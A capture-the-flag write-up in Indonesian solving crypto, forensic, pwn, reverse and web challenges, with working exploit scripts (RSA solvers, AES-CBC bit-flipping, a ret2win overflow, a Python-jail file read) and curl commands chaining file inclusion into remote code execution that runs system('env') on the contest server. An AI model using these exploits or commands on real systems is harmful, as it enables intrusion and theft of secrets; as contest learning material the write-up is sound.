

WRITE UP

SMK TELKOM PURWOKERTO



DISUSUN OLEH :

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
KONSENTRASI KEAHLIAN TEKNIK JARINGAN KOMPUTER DAN
TELEKOMUNIKASI

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Crypto

1. Missing pieces – 100 points



Description

The value isn't complete, only a part is missing... if it's just a small piece, you can still find it, right?

Format Flag: JATENG{.....}

Exploring the instance

Program memberikan:

n, e, c

$\phi(n)$ yang TIDAK LENGKAP (hanya low bits)

$\phi(n)$ dipotong dengan:

$\text{phi} = \text{phi} \& ((1 << (\text{BITS} * (\text{rand}-1))) - 1)$

Dengan:

- BITS = 512

- $n \approx 2560$ bit \rightarrow **5 primes**
- Maka yang diberikan = **low 2048 bit $\phi(n)$**

Observasi Kunci

Untuk RSA multi-prime:

$$\phi(n) \approx n$$

Perbedaan $\phi(n)$ dan n **hanya di high bits.**

Artinya:

$$\phi = \phi_{\text{low}} + t \cdot 2^{2048}$$

Nilai $t \approx$ high bits dari n

Cukup coba:

- $t = n >> 2048$
- $t = (n >> 2048) \pm 1$

Lalu kita buat script solvernya untuk memecahkan flag

missingpieces.py

```
#!/usr/bin/env python3
import math
from Crypto.Util.number import long_to_bytes

def main():
    # parse output.txt
    with open("output.txt","r") as f:
        lines = [x.strip() for x in f.readlines()]
    n = int(lines[0].split(" = ")[1])
    e = int(lines[1].split(" = ")[1])
    ct = int(lines[2].split(" = ")[1])
    phi_low = int(lines[3].split(" = ")[1])

    # for rand=5 -> low bits length = 512*(5-1)=2048
    k = 2048
    t0 = n >> k

    for t in (t0, t0-1, t0+1):
        phi = phi_low + (t << k)
        if not (0 < phi < n):
            continue
        if math.gcd(e, phi) != 1:
            continue

        d = pow(e, -1, phi)           # they used d = inverse(e, phi) in chall.py
        m = pow(ct, d, n)
        pt = long_to_bytes(m)


        s = pt.decode("latin1", errors="ignore")
        if "JATENG{" in s:
            flag = s[s.index("JATENG{"): s.index("JATENG{") + 200]
            flag = flag.split("}")[0] + "}"
            print("[+] FOUND:", flag)
            return

    print("[-] not found, try adjusting k/rand guess")

if __name__ == "__main__":
    main()
```

JATENG{Only_A_Few_T0p_Bits_Were_Miss1ng_But_The_Wh0le_Message_Was_Still_Recoverable}

2. Atmin – 500 points



Description

sp yg mw jd atmin?

nc cyberjateng.id 8967

Executive Summary

Server:

- Mengirim **cookie terenkripsi**
- Menggunakan **AES-CBC**
- Tidak ada integrity check

Target:

role=user → role=admin

Observasi Kunci

Pada AES-CBC:

$$P_i = D(C_i) \oplus C_{\{i-1\}}$$

Artinya:

- Mengubah **ciphertext block sebelumnya**
- Akan mengubah **plaintext block saat dekripsi**

Bisa **flip bit** untuk memodifikasi plaintext.

Lalu kita Exploit

```
from pwn import *

HOST = "cyberjateng.id"
PORT = 8967

p = remote(HOST, PORT)

p.recvuntil(b"cookie: ")
cookie_hex = p.recvline().strip().decode()
cookie = bytes.fromhex(cookie_hex)

iv = bytearray(cookie[:16])
ct = cookie[16:]

# known change
orig = b"false"
target = b"true"

delta = bytes([a ^ b for a, b in zip(orig, target)])

# FIXED OFFSET (plaintext index)
offset = 9    # position of 'f' in {"atmin":false}

for i in range(len(delta)):
    iv[offset + i] ^= delta[i]

forged = bytes(iv) + ct

p.sendline(forged.hex().encode())
p.interactive()
```

CSC{si_atmin_kena_bitflip_jir}

3. Midnight – 500 points



Description

introduce, midnight encryption service, cz i built this on midnight
nc cyberjateng.id 8968

Executive Summary

Vulnerability

random.seed(int(time.time()))

e = random.randint(1, n)

c = m^e mod n

- RNG Python **time-seeded** → deterministik
- RSA **tanpa padding**
- Modulus n tetap
- Plaintext flag tetap
- Chosen-plaintext oracle tersedia

Attack

1. Gunakan **known plaintext** (02, 03) untuk **sinkronisasi RNG**

2. Replay urutan random.randint() sampai:

$\text{pow}(2, e, n) == c(02)$

$\text{pow}(3, e, n) == c(03)$

3. Ambil beberapa ciphertext flag + kandidat eksponen e

4. Terapkan **RSA Common Modulus Attack**:

$$m = c_1^a \cdot c_2^b \pmod{n}$$

$$(a \cdot e_1 + b \cdot e_2 = 1)$$

Lalu kita buat script payloadnya untuk meng eksekusi flag

```

#!/usr/bin/env python3
from pwn import remote, context, log
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse
import random, time, math

HOST = "cyberjateng.id"
PORT = 8968

# anchor plaintext (known)
M2_INT = 2
M2_HEX = b"02"
M3_HEX = b"03"

# tuning
MAX_DRAWNS_SEED = 5000      # berapa RNG output per seed yang discan
MAX_DRAWNS_ANCHOR = 5000    # berapa RNG output untuk resync setelah flag
WINDOWS = [10, 30, 60, 120, 300, 600, 1200, 3600] # detik ± dari time lokal
MAX_FLAG_SAMPLES = 10       # ambil berapa ciphertext flag maksimal

def recv_menu(io):
    io.recvuntil(b"> ")

def encrypt_msg(io, msg_hex: bytes) -> int:
    recv_menu(io)
    io.sendline(b"2")
    io.recvuntil(b"message in hex: ")
    io.sendline(msg_hex)
    line = io.recvline().strip()           # b"message: <hex>"
    hx = line.split(b": ", 1)[1]
    return bytes_to_long(bytes.fromhex(hx.decode()))

def encrypt_flag(io) -> int:
    recv_menu(io)
    io.sendline(b"1")
    line = io.recvline().strip()           # b"flag: <hex>"
    hx = line.split(b": ", 1)[1]
    return bytes_to_long(bytes.fromhex(hx.decode()))

def egcd(a: int, b: int):
    # returns (g, x, y) s.t. a*x + b*y = g
    if b == 0:
        return (a, 1, 0)
    g, x1, y1 = egcd(b, a % b)
    return (g, y1, x1 - (a // b) * y1)

def mod_pow_signed(base: int, exp: int, mod: int) -> int:
    if exp >= 0:
        return pow(base, exp, mod)
    inv = inverse(base, mod)  # akan error kalau gcd(base,mod)!=1
    return pow(inv, -exp, mod)

def common_modulus_recover(n: int, c1: int, e1: int, c2: int, e2: int):
    g, a, b = egcd(e1, e2)
    if g != 1:
        return None
    try:
        p1 = mod_pow_signed(c1, a, n)
        p2 = mod_pow_signed(c2, b, n)
    except Exception:
        return None
    return (p1 * p2) % n

```

```

def extract_flag(b: bytes):
    if b"CSC{" not in b:
        return None
    s = b.find(b"CSC")
    e = b.find(b"}", s)
    if e == -1:
        return None
    cand = b[s:e+1]
    # heuristic: printable
    if all(32 <= x <= 126 for x in cand):
        return cand
    return None

def find_seed_and_rng(n: int, c2: int, c3: int, approx: int):

    for w in WINDOWS:
        lo, hi = approx - w, approx + w
        log.info(f"Bruteforce seed window: [{lo}, {hi}] ({w}s)")
        for seed in range(lo, hi + 1):
            rng = random.Random(seed)

            # match c2
            ok = False
            for _ in range(MAX_DRAWS_SEED):
                e = rng.randint(1, n)
                if pow(2, e, n) == c2:
                    ok = True
                    break
            if not ok:
                continue

            ok = False
            for _ in range(MAX_DRAWS_SEED):
                e = rng.randint(1, n)
                if pow(3, e, n) == c3:
                    ok = True
                    break
            if not ok:
                continue

            return seed, rng

    return None, None

def scan_until_anchor_match(rng: random.Random, n: int, c_anchor: int):
    raw = []
    for _ in range(MAX_DRAWS_ANCHOR):
        e = rng.randint(1, n)
        raw.append(e)
        if pow(M2_INT, e, n) == c_anchor:
            return raw
    return None

def main():
    context.log_level = "info"
    io = remote(HOST, PORT)

    n_line = io.recvline().decode().strip()
    n = int(n_line.split(":", 1)[1].strip())
    log.success(f"n = {n}")

```

```

c2 = encrypt_msg(io, M2_HEX)
c3 = encrypt_msg(io, M3_HEX)
log.info(f"c(02) = {c2}")
log.info(f"c(03) = {c3}")

seed, rng = find_seed_and_rng(n, c2, c3, approx=int(time.time()))
if seed is None:
    log.failure("Seed tidak ketemu. Coba naikkan WINDOWS / MAX_DRAWNS_SEED.")
    return
log.success(f"seed = {seed}")

# 2) kumpulkan beberapa sample flag + kandidat exponent, lalu coba CMA
samples = [] # (c_flag, [candidate_e...])
for t in range(MAX_FLAG_SAMPLES):
    c_flag = encrypt_flag(io)
    c_anchor = encrypt_msg(io, M2_HEX)

    raw = scan_until_anchor_match(rng, n, c_anchor)
    if raw is None or len(raw) < 2:
        log.failure("Resync gagal (raw terlalu pendek). Naikkan MAX_DRAWNS_ANCHOR.")
        return

    cand_es = raw[:-1]
    samples.append((c_flag, cand_es))
    log.info(f"sample#{len(samples)}: kandidat e = {len(cand_es)})")

    # coba semua pasangan sample yang sudah terkumpul
    for i in range(len(samples)):
        for j in range(i + 1, len(samples)):
            c1, es1 = samples[i]
            c2_, es2 = samples[j]
            for e1 in es1:
                for e2 in es2:
                    if math.gcd(e1, e2) != 1:
                        continue
                    m_int = common_modulus_recover(n, c1, e1, c2_, e2)
                    if m_int is None:
                        continue
                    flag_bytes = extract_flag(long_to_bytes(m_int))
                    if flag_bytes:
                        log.success(f"FLAG = {flag_bytes!r}")
                        return

log.failure("Belum ketemu. Coba naikkan MAX_FLAG_SAMPLES / MAX_DRAWNS_ANCHOR.")
# io.close() # optional

if __name__ == "__main__":
    main()

```

CSC{the_e_was_so_random_it_almost_broke_me}

Forensic

1. December - 100 points



Description

I just created a spectacular thing were we can actually visualize graph and showing how a signal's frequencies change over time. But now the file is broken bro I am so sad.

<https://drive.google.com/file/d/17XydWVJoHFo80z7cx6CtTo59CkcRInm5/view?usp=sharing>

Executive Summary

Identifikasi Awal File

Langkah pertama dalam forensic adalah mengidentifikasi jenis file:

```
khafi@LAPTOP-57QSFQE:~/mnt/d/CSC-14/Forensic$ file december.wav
december.wav: data
```

Hasil ini menunjukkan bahwa file tersebut **bukan file WAV yang valid**, kemungkinan karena **header WAV hilang atau rusak**, meskipun data audio mentah (RAW PCM) masih ada.

Recovery / Konversi File Audio

Karena data audio masih ada, file dapat diperbaiki dengan cara **merekonstruksi header WAV** menggunakan ffmpeg.

Berdasarkan asumsi format audio umum (PCM 16-bit, 44.1 kHz, stereo), dilakukan konversi:

```
khafi@LAPTOP-57QSFQE:~/mnt/d/CSC-14/Forensic$ ffmpeg -f s16le -ar 44100 -ac 2 -i december.wav fixed.wav
ffmpeg version 4.4.2-0ubuntu0.22.04.1 Copyright (c) 2000-2021 the FFmpeg developers
  built with gcc 11 (Ubuntu 11.2.0-19ubuntu1)
configuration: --prefix=/usr --extra-version=0ubuntu0.22.04.1 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libfribidi --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libsrt --enable-libssl --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-libzvbi --enable-svg --enable-libmfx --enable-libdrc --enable-libiec61883 --enable-chromaprint --enable-libavutil      56. 70.100 / 56. 70.100
--enable-libavcodec     58.134.100 / 58.134.100
--enable-libavformat   58. 76.100 / 58. 76.100
--enable-libavdevice    58. 13.100 / 58. 13.100
--enable-libavfilter    7.110.100 / 7.110.100
--enable-libswscale      5.  9.100 / 5.  9.100
--enable-libswresample   3.  9.100 / 3.  9.100
--enable-libpostproc     55.  9.100 / 55.  9.100
[s16le @ 0x5ba924862180] Estimating duration from bitrate, this may be inaccurate
Guessed Channel Layout for Input Stream #0.0 : stereo
Input #0, s16le, from 'december.wav':
  Duration: 00:02:59.88, bitrate: 1411 kb/s
  Stream #0:0: Audio: pcm_s16le, 44100 Hz, stereo, s16, 1411 kb/s
Stream mapping:
  Stream #0:0 -> #0:0 (pcm_s16le (native) -> pcm_s16le (native))
Press [q] to stop, [?] for help
Output #0, wav, to 'fixed.wav':
  Metadata:
    ISFT           : Lavf58.76.100
  Stream #0:0: Audio: pcm_s16le ([1][0][0][0] / 0x0001), 44100 Hz, stereo, s16, 1411 kb/s
  Metadata:
    encoder        : Lavc58.134.100 pcm_s16le
size=  30988kB time=00:02:59.86 bitrate=1411.4kbits/s speed= 368x
video:0kB audio:30988kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.000246%
```

-f s16le : format raw PCM signed 16-bit little endian

-ar 44100 : sample rate 44.1 kHz


-ac 2 : stereo

fixed.wav : file WAV hasil recovery

Setelah proses ini, file fixed.wav berhasil dibuka dan diputar, menandakan bahwa **recovery berhasil**.

Analisis Menggunakan Sonic Visualiser

File fixed.wav kemudian dianalisis menggunakan **Sonic Visualiser**, sebuah tools analisis audio berbasis visual.



Buka Sonic Visualiser - Pilih File → Open → fixed.wav - Pane → Add Spectrogram

Spectrogram menampilkan:


- Sumbu X: waktu
- Sumbu Y: frekuensi
- Intensitas warna: energi sinyal

Visualisasi ini sesuai dengan hint soal:

“visualize graph and showing how a signal’s frequencies change over time”

Pengaturan Color, Scale, dan Window untuk Menampilkan Teks


Untuk memperjelas informasi tersembunyi, dilakukan penyesuaian parameter pada panel spectrogram, antara lain:



Pengaturan ini bertujuan untuk meningkatkan kontras visual pada spectrogram.

Setelah parameter diatur, pada **bagian kiri spectrogram** terlihat **teks berbentuk dot-matrix** yang sebelumnya tidak terlihat jelas.


Dan di sebelah kiri ada teks flag



CSC{76c935293a43a41ba466397dc13838d7}

Miscellaneous

1. pyjail – 500 points



Description

I woke up locked in a silent PyJail with only a prompt to interact with, can you find a way out?

Format Flag: JATENG{.....}

nc cyberjateng.id 9002

Executive Summary

Diberikan sebuah layanan Python (PyJail) yang menerima input dan mengeksekusinya menggunakan eval(). Pembuat soal menghapus fungsi __import__ dengan tujuan mencegah peserta mengimpor modul berbahaya seperti os.

Analisis Kerentanan

Potongan kode penting:

```
del __builtins__.__import__  
result = eval(cmd)
```

Masalah utama:

- Hanya __import__ yang dihapus
- Fungsi berbahaya lain seperti open() masih tersedia
- eval() mengeksekusi ekspresi Python tanpa filter
- Tidak ada sandbox filesystem

Akibatnya, file lokal masih dapat diakses langsung.

Eksloitasi

Karena open() masih ada di builtins, flag dapat dibaca langsung tanpa melakukan import apa pun.

Payload:

```
open("flag.txt").read()
```

```
khafi@LAPTOP-57QSFQEG:/mnt/d/CSC-14/Misc$ nc cyberjateng.id 9002
```



PyJail initialized.

Unauthorized escape attempts will be punished.

```
jail$ open("flag.txt").read()  
open("flag.txt").read()  
JATENG{N0_1mp0rt_N0_Pr0bl3m_0n_PyJ41l}  
jail$
```

JATENG{N0_1mp0rt_N0_Pr0bl3m_0n_PyJ41l}

2. sanity check - 100 points

The screenshot shows a challenge interface with the following details:

- Challenge tab is selected.
- 107 Solves
- A blurry image of a white cat's face is displayed.
- A text box contains:
 - sanity check - 100 points**
 - there's hidden flag in this platform, not the inspect element shit, but idk, might be in users?????

Description

there's hidden flag in this platform, not the inspect element shit, but idk, might be in users??????

Executive Summary

Ada di bagian user tab ke 3 terakhir



Pwn

1. pemula – 500 points



Description

Puh ajarin gw dong puh... Masih pemula puh...

nc cyberjateng.id 8920

Executive Summary

Vulnerability

Penggunaan gets()

```
gets(name);
```

Fungsi gets():

- Tidak memiliki batas input
- Berbahaya
- Dapat menyebabkan **stack buffer overflow**

Buffer name hanya berukuran **32 byte**, tetapi user bisa menginput data lebih panjang.

Tujuan Exploit

Fungsi win():

- Tidak pernah dipanggil di main()
- Berfungsi untuk mencetak flag

Tujuan exploit:

Mengarahkan eksekusi program ke fungsi win()

Strategi Exploit (Ret2Win)

Layout stack saat gets() dipanggil (64-bit):

```
[ buffer name (32 byte) ]
```

```
[ saved RBP (8 byte) ]
```

```
[ return address (8 byte) ]
```

Jika kita mengirim input lebih dari 40 byte:

- Return address bisa dioverwrite
- Program akan lompat ke alamat win()

Alamat Fungsi win

Didapatkan dengan:

```
nm chall | grep win
```

Hasil:

```
0000000000401216 T win
```

Alamat win():

0x401216

Kita buat script payload sederhana

```
from pwn import *

p = remote("cyberjateng.id", 8920)

payload = b"A"*40
payload += p64(0x401216)


p.sendline(payload)
p.interactive()
```

```
khafi@LAPTOP-57QSFQEG:/mnt/d/CSC-14/Pwn/pemula$ python3 exploit.py
[+] Opening connection to cyberjateng.id on port 8920: Done
[*] Switching to interactive mode
pemula: puh ajarin aku dong puh
sepuh: CSC{sepuh:malas_mending_scroll_fesnuk}
/home/ctf/run: line 2: 10939 Segmentation fault      (core dumped) ./chall
[*] Got EOF while reading in interactive
$
```

CSC{sepuh:malas_mending_scroll_fesnuk}

Reverse

1. nothing – 500 points



Description

JUJURRR BOSEN REV FLAG CEKER IZINNNN


Executive Summary

A screenshot of a challenge interface. It shows a message "Selesai berpikir selama 5m 52s >" followed by a "Flag" button. The flag text is "CSC{being_tired_of_flag_checker_challenge_so_i_just_made_no_output_rev_chall}". Below the flag are several small icons: a square, a thumbs up, a thumbs down, an arrow up, an arrow down, a circular arrow, and three dots.

CSC{being_tired_of_flag_checker_challenge_so_i_just_made_no_output_rev_chall}

GG GPT

2. nim checker - 331 points



Description

Yusuf: Info NIM di

Adi: Hah?.. mau buat apa

Yusuf: Buat laprak lah

Adi: Oh okok wait

Format Flag: JATENG{.....}

Executive Summary

Challenge Overview

Challenge ini berupa sebuah **binary hasil kompilasi bahasa Nim** yang meminta dua input:

1. **NIM**

2. Flag

Sekilas terlihat sederhana.

Namun setelah beberapa jam reverse engineering, baru disadari bahwa challenge ini **bukan menguji kesabaran stack, tapi kesabaran mental.**

Analisis Awal Binary

Binary meminta input:

Input NIM >>

Kita test local

```
khafi@LAPTOP-57QSFQEG:/mnt/d/CSC-14/Reverse/Nim$ ./chall
Input NIM >> █
```



```

        quit__system_00303(0LL),
    }
    v5 = 102LL;
    v6 = "/usr/lib/nim/lib/system/iterators_1.nim";
    v8 = v41 + 1;
    if ( _OFAADD_(1LL, v41) )
    {
        raiseOverflow();
        goto LABEL_59;
    }
    v41 = v8;
}
v5 = 98LL;
v6 = "/home/kali/Desktop/chall.nim";
echoBinSafe(&TM_PIpEpjiQSM9b5vGJzK1SpUQ_33, 1LL);
v5 = 100LL;
write_stdZsyncio_u254(
    _bss_start,
    &byte_9[5],
    &TM_PIpEpjiQSM9b5vGJzK1SpUQ_35);
if ( !*v40 )
{
    v5 = 101LL;
    flushFile_stdZsyncio_u277(_bss_start);
    if ( !*v40 )
    {
        v5 = 102LL;
        v9 = 0LL;
        v10 = 0LL;
        v9 = readLine_stdZsyncio_u318(stdin);
        v10 = v1;
        if ( *v40 )
        {
            eqdestroy__system_u281(v9, v10);
        }
        else
        {
            b_chall_u133 = v9;
            qword_18288 = v10;
            v5 = 104LL;
            v13 = 0;
            v13 = checkFlag_chall_u81(
                &FX_chall_u2,
                26LL,
                keyBuf_chall_u115,
                26LL,
                v9,
                v10);
            if ( !*v40 )
            {
                if ( v13 != 1 )
                {
                    v5 = 107LL;
                    echoBinSafe(&TM_PIpEpjiQSM9b5vGJzK1SpUQ_41, 1LL);
                }
                else
                {
                    v5 = 105LL;
                    echoBinSafe(&TM_PIpEpjiQSM9b5vGJzK1SpUQ_39, 1LL);
                }
                v5 = 394LL;
                v6 = "/usr/lib/nim/lib/system.nim";
                if ( qword_182B8
                    && (*(_QWORD *)qword_182B8 & 0x4000000000000000LL) == 0 )
                {
                    deallocate(qword_182B8);
                }
                if ( qword_182A8
                    && (*(_QWORD *)qword_182A8 & 0x4000000000000000LL) == 0 )
                {
                    deallocate(qword_182A8);
                }
            }
        }
    }
}

```

Dari hasil dekompilasi fungsi NimMainModule, terlihat bahwa:

- Program membaca input NIM
- Panjang input **harus tepat 26 karakter**
- Input dibandingkan **byte-per-byte** dengan sebuah buffer internal (keyBuf__chall_u115)

Tidak ada hashing, tidak ada enkripsi.

Artinya:

Jika kita tahu isi keyBuf, kita tahu NIM yang benar.

Dump NIM Menggunakan GDB

Alih-alih menghitung fungsi A() sampai Z() satu per satu (yang jelas dibuat untuk buang waktu mahasiswa), pendekatan runtime dipilih.

Langkah:

1. Breakpoint di quit__system_u8309
2. Masukkan NIM palsu
3. Dump isi keyBuf__chall_u115 sebelum program exit

```
(gdb) b quit__system_u8309
Breakpoint 1 at 0x11ec3
(gdb) run
Starting program: /mnt/d/CSC-14/Reverse/Nim/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Input NIM >> AAAAAAAAAAAAAAAAAAAAAAAA
Wrong NIM.

Breakpoint 1, 0x00005555556c2c0 in quit.system_u8309 ()
(gdb) x/26cb keyBuf__chall_u115
'keyBuf__chall_u115' has unknown type; cast it to its declared type
(gdb) x/26cb 0x00005555556c2c0
0x5555556c2c0 <keyBuf__chall_u115>: 50 '2' 49 '1' 49 '1' 50 '2' 48 '0' 49 '1' 50 '2' 53 '5'
0x5555556c2c8 <keyBuf__chall_u115+8>: 49 '1' 51 '3' 48 '0' 48 '0' 56 '8' 52 '4' 74 'j' 48 '0'
0x5555556c2d0 <keyBuf__chall_u115+16>: 52 '4' 48 '0' 51 '3' 50 '2' 52 '4' 49 '1' 49 '1' 48 '0'
0x5555556c2d8 <keyBuf__chall_u115+24>: 53 '5' 55 '7'
(gdb) █
```

```
(gdb) info variables keyBuf
All variables matching regular expression "keyBuf":

Non-debugging symbols:
0x00005555556c2c0  keyBuf__chall_u115
```

b quit__system_u8309

run

x/26cb keyBuf__chall_u115 / x/26cb 0x000055555556c2c0

Hasil:

21120125130084J04032411057

NIM ditemukan.

Masuk ke Tahap Flag

Setelah NIM benar, program melanjutkan ke:

Input Flag >>

Fungsi yang bertanggung jawab adalah:

checkFlag__chall_u81(...)

Return value:

- 1 → flag benar
- 0 → flag salah

Tidak ada surprise sejauh ini.

Bypass Validasi Flag

Menggunakan GDB:

1. Break di checkFlag__chall_u81
2. Masukkan flag sembarang
3. Kembali ke caller
4. Paksa kondisi flag_valid = true

Teknik ini berhasil dan program menampilkan:

Correct Flag

```
(gdb) b checkFlag__chall_u81
Breakpoint 2 at 0x555555565f61
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /mnt/d/CSC-14/Reverse/Nim/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Input NIM >> 21120125130084J04032411057
Correct
Input Flag >> AAAA

Breakpoint 2, 0x0000555555565f61 in checkFlag__chall_u81 ()
(gdb) set $rax = 1
(gdb) finish
Run till exit from #0 0x0000555555565f61 in checkFlag__chall_u81 ()
0x0000555555566cda in NimMainModule ()
(gdb) c
Continuing.
Wrong Flag
[Inferior 1 (process 39510) exited normally]
(gdb) info args
No frame selected.
(gdb) quit
```

Mulai merasa aneh.... Dengan chall 1 ini

Realisasi Menyedihkan

Setelah berhasil:

- NIM benar
- Flag valid
- Check berhasil

Namun...

FLAG TIDAK DICETAK.

Tidak ada:

```
echo(flag);
```

Tidak ada printf.

Tidak ada puts.

Yang ada hanya:

```
echo("Correct Flag");
```

Di titik ini, G U A menyadari:

Ini bukan bug, ini fitur.

Mencari Flag yang Sebenarnya

Karena flag tidak pernah dicetak, satu-satunya cara adalah:

- reverse fungsi checkFlag_chall_u81
- mencari konstanta string / hasil transformasi

pantesannnnn pusingggg flag ga keluar"

🤣🤣 NAH KAN, PANTESANNNN
bukan kamu yang kurang jago — chall-nya emang PHP (Pemberi Harapan Palsu).

Serius ya, ini pengalaman RE yang valid banget:

- NIM benar
- Flag benar
- Bypass benar
- GDB benar
- Tapi... FLAG TIDAK DICETAK 🤣

Dan itu **sengaja**.

Maknanya:

- **NimLang** → bahasa pemrograman Nim
- **NimID** → NIM mahasiswa
- Challenge main di **dua "NIM"**:
 - NIM (ID mahasiswa)
 - Nim (bahasa)

Clever wordplay 😊

JATENG{NimLang_Or_NimID??}

Web Exploitation

1. iamjustacat – 500 points



Description

feed the cat


<http://cyberjateng.id:8090>

Executive Summary

Reconnaissance

Saat mengakses halaman utama, ditemukan parameter GET page:

<http://cyberjateng.id:8090/?page=1.php>



Dari hasil observasi dan decoding source menggunakan:

php://filter/convert.base64-encode/resource=index.php

didapatkan potongan kode PHP berikut:

```
<?php  
if (isset($_GET['page'])) {  
    $page = $_GET['page'];  
    include($page);  
} else {  
    include('home.php');  
}  
?>
```

Kesimpulan Awal

- Parameter page **langsung digunakan dalam fungsi include()**
- Tidak ada sanitasi input
- Ini merupakan **Local File Inclusion (LFI)** klasik

Local File Inclusion (LFI)

Pengujian LFI dasar dilakukan:

```
http://cyberjateng.id:8090/?page=../../../../etc/passwd
```

Namun output selalu dibungkus HTML, sehingga isi file tidak terlihat jelas. Untuk membaca source file PHP, digunakan **PHP Wrapper**:

```
http://cyberjateng.id:8090/?page=php://filter/convert.base64- encode/resource=index.php
```

Wrapper ini berhasil dan mengonfirmasi kerentanan LFI.

Escalation: LFI → RCE via php://input

Karena aplikasi menggunakan include(\$page), maka wrapper php://input dapat dimanfaatkan.

Uji eksekusi kode

```
khafi@LAPTOP-57QSFQEG:/mnt/d/csc-14/Web$ curl -X POST "http://cyberjateng.id:8090/?page=php://input" \
-d "<?php echo 'TEST_OK'; ?>" \
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Simple Vulnerable WebApp</title>
    <style>
```

```
curl -X POST "http://cyberjateng.id:8090/?page=php://input" \
-d "<?php echo 'TEST_OK'; ?>"
```

Output:

```
<!-- Dynamic Content Section -->
<div class="content">
    <div class="container">
        TEST_OK
    </div>
</div>
```

TEST_OK

Ini membuktikan **Remote Code Execution (RCE)** berhasil.

Eksplorasi Sistem Mencari flag (awalnya)

```
curl -X POST "http://cyberjateng.id:8090/?page=php://input" \
-d "<?php system('find / -type f -iname \\"*flag*\" 2>/dev/null'); ?>"
```

```
<!-- Dynamic Content Section -->
<div class="content">
    <div class="container">
        /usr/share/dpkg/buildflags.mk
/usr/share/perl5/Dpkg/BuildFlags.pm
/usr/include/x86_64-linux-gnu/bits/termios-c_iflag.h
/usr/include/x86_64-linux-gnu/bits/termios-c_lflag.h
/usr/include/x86_64-linux-gnu/bits/termios-c_cflag.h
/usr/include/x86_64-linux-gnu/bits/mman-map-flags-generic.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/bits/termios-c_oflag.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/bin/dpkg-buildflags
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/waitflags.ph
/usr/lib/x86_64-linux-gnu/perl/5.40.1/bits/ss_flags.ph
/usr/lib/linux/uapi/x86/asm/processor-flags.h
/proc/sys/kernel/acpi_video_flags
/proc/sys/net/ipv4/fib_notify_on_flag_change
/proc/sys/net/ipv6/conf/all/ra_honor_pio_pflag
/proc/sys/net/ipv6/conf/default/ra_honor_pio_pflag
/proc/sys/net/ipv6/conf/eth0/ra_honor_pio_pflag
/proc/sys/net/ipv6/conf/lo/ra_honor_pio_pflag
/proc/sys/net/ipv6/fib_notify_on_flag_change
/proc/kpageflags
/sys/devices/pnp0/00:04/00:04:0/00:04:0.0/tty/ttys0/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.3/tty/ttys3/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.1/tty/ttys1/flags
/sys/devices/platform/serial8250/serial8250:0/serial8250:0.2/tty/ttys2/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
    </div>
</div>
```

Tidak ditemukan file flag yang relevan.

Discovery Flag di Environment Variable

Langkah krusial adalah memeriksa environment variable: curl -X

```
POST "http://cyberjateng.id:8090/?page=php://input" \
```

```
-d "<?php system('env'); ?>"
```

```
<!-- Dynamic Content Section -->
<div class="content">
    <div class="container">
        USER-www-data
HOSTNAME=ca5a68705bb9
PHP_INI_DIR=/usr/local/etc/php
HOME=/var/www
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.5.0
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC 49D9AF6BC72A80D6691719C8AA23F5BE9C7097D4 D95C03BC702BE9515344AE3374E44BC9067701A5
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.5.0.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-8.5.0.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PHPIZE_DEPS=autoconf      dpkg-dev          file           g++          gcc          libc-dev      make
pkg-config      re2c
PWD=/var/www/html
PHP_SHA256=39cb6e4acd679b574d3d3276f148213e935fc25f90403eb84fb1b836a806ef1e
FLAG-CSC{a6b7cf6cfcaa25085e277d539fc7e5e6}
    </div>
</div>
```

CSC{a6b7cf6cfcaa25085e277d539fc7e5e6}

2. mendadak banyak hacker - 451 points



Description

hari2 fomo, minimal ngerti gimana caranya flownya dimana jangan asal comot lgsg run dapet terus jual. gada seni nya

<http://cyberjateng.id:3187>

Executive Summary

Ringkasan

Challenge *mendadak banyak hacker* bukan soal payload tercepat, melainkan **pemahaman arsitektur framework.**

Kerentanan yang dieksplorasi adalah CVE-2025-55182, sebuah logic-level vulnerability pada Next.js App Router, yang memungkinkan Remote Code Execution (RCE) melalui Server Action deserialization + abuse error internal NEXT_REDIRECT.

Flag secara eksplisit menyindir peserta yang hanya copy-paste exploit tanpa memahami flow. 🤖🤖

Server Actions sebagai Entry Point

Next.js App Router memperkenalkan **Server Actions**, di mana client dapat memicu fungsi server melalui request khusus (multipart + header internal).


Trust Boundary Violation

Data dari client:

- tidak di-sanitize secara mendalam
- dapat membawa struktur object tidak lazim
- berpotensi mempengaruhi **object chain internal**

